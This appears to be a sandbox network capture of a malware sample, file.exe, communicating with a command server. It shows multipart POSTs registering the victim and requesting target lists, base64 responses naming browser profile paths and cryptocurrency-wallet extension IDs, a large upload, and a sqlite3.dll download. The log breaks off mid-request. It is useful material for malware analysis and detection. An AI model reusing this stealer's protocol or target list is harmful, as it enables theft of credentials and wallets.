Nov 28, 2024 15:17:11.659852028 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJDAFIEHIEGDHIDGDGH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 45 33 44 44 31 30 44 43 44 33 45 34 32 35 35 38 33 30 34 33 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 2d 2d 0d 0a Data Ascii: ------DHJDAFIEHIEGDHIDGDGHContent-Disposition: form-data; name="hwid"DE3DD10DCD3E4255830438------DHJDAFIEHIEGDHIDGDGHContent-Disposition: form-data; name="build"mars------DHJDAFIEHIEGDHIDGDGH--
Nov 28, 2024 15:17:12.135835886 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 7a 4e 68 4d 54 41 32 4e 6a 64 6b 5a 47 51 78 4e 54 49 7a 59 7a 4a 6a 4e 6a 67 77 4f 44 45 32 4e 44 42 69 59 54 67 79 4f 57 4a 6a 4d 47 4d 32 59 6a 4a 68 4e 32 49 78 4f 47 4a 6d 4e 6a 49 32 5a 6a 52 69 5a 44 45 7a 4e 57 52 6d 4e 44 52 6a 4d 44 51 35 4f 47 4d 33 4f 47 4a 6c 4e 54 68 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MzNhMTA2NjdkZGQxNTIzYzJjNjgwODE2NDBiYTgyOWJjMGM2YjJhN2IxOGJmNjI2ZjRiZDEzNWRmNDRjMDQ5OGM3OGJlNThkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 28, 2024 15:17:12.137062073 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGID Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 2d 2d 0d 0a Data Ascii: ------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="message"browsers------JJJKFBAAAFHJEBFIEGID--
Nov 28, 2024 15:17:12.591675043 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 28, 2024 15:17:12.591713905 CET	124	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdT
Nov 28, 2024 15:17:12.792848110 CET	896	IN	Data Raw: 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e 78 63 51 32 68 6c 5a 47 39 30 58 46 Data Ascii: dGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHB
Nov 28, 2024 15:17:12.794250965 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBKFBFCGIEHIDGCFBFB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 4b 46 42 46 43 47 49 45 48 49 44 47 43 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 46 42 46 43 47 49 45 48 49 44 47 43 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 46 42 46 43 47 49 45 48 49 44 47 43 46 42 46 42 2d 2d 0d 0a Data Ascii: ------GCBKFBFCGIEHIDGCFBFBContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------GCBKFBFCGIEHIDGCFBFBContent-Disposition: form-data; name="message"plugins------GCBKFBFCGIEHIDGCFBFB--
Nov 28, 2024 15:17:13.252456903 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 28, 2024 15:17:13.252470016 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Nov 28, 2024 15:17:13.253423929 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Nov 28, 2024 15:17:13.253453016 CET	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Nov 28, 2024 15:17:13.253462076 CET	248	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Nov 28, 2024 15:17:13.254266977 CET	1236	IN	Data Raw: 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 Data Ascii: ciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHB
Nov 28, 2024 15:17:13.254365921 CET	1236	IN	Data Raw: 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 Data Ascii: aGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5
Nov 28, 2024 15:17:13.262721062 CET	248	IN	Data Raw: 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d 4e 6f 66 44 46 38 4d 48 77 77 66 46 42 31 62 48 4e 6c 49 46 64 68 62 47 78 6c 64 43 42 44 61 48 4a 76 62 57 Data Ascii: bGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21
Nov 28, 2024 15:17:13.453449965 CET	544	IN	Data Raw: 5a 57 52 69 61 6d 6c 76 61 58 42 6e 62 47 64 6a 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 Data Ascii: ZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5
Nov 28, 2024 15:17:13.455430984 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFIDHDGIEGCAKFIIJKF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="token"33a10667ddd1523c2c68081640ba829bc0c6b2a7b18bf626f4bd135df44c0498c78be58d------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="message"fplugins------AKFIDHDGIEGCAKFIIJKF--
Nov 28, 2024 15:17:13.908931017 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 28, 2024 15:17:14.439853907 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDHCFBAKFBGDGDHJKJJ Host: 185.215.113.206 Content-Length: 6431 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 15:17:15.426037073 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 15:17:15.736587048 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 15:17:16.188536882 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49768	185.215.113.206	80	5684	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 15:17:25.784957886 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEB Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 61 31 30 36 36 37 64 64 64 31 35 32 33 63 32 63 36 38 30 38 31 36 34 30 62 61 38 32 39 62 63 30 63 36 62 32 61 37 62 31 38 62 66 36 32 36 66 34 62 64 31 33 35 64 66 34 34 63 30 34 39 38 63 37 38 62 65 35 38 64 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 